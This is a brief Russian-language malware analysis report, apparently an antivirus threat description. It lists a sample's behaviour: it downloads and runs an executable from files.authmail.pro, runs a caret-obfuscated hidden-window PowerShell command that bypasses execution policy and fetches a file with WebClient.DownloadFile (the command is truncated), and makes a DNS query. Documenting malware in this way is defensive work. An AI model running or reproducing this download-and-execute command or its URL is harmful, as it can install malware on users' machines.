Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://files.authmail.pro/_soft/loader/20170206/preloader.x32.1.1.1%23olen.bid%23-80.v100.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^oW^ERsh^ElL^.E^XE^ ^-EXE^CUTi^On^p^OL^Ic^y^ b^yP^aS^S ^-NO^PRof^IlE ^-windo^w^ST^ylE ^hiD^d^e^N (n^eW-o^BjeCt ^s^YS^TEm.^Ne^t.^w^eb^Cli^e^Nt)^.dOWNL^O^a^dfiLe(^'http:/...
Сетевая активность
UDP
- DNS ASK fi###.authmail.pro
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^oW^ERsh^ElL^.E^XE^ ^-EXE^CUTi^On^p^OL^Ic^y^ b^yP^aS^S ^-NO^PRof^IlE ^-windo^w^ST^ylE ^hiD^d^e^N (n^eW-o^BjeCt ^s^YS^TEm.^Ne^t.^w^eb^Cli^e^Nt)^.dOWNL^O^a^dfiLe(^'http:/...' (со скрытым окном)
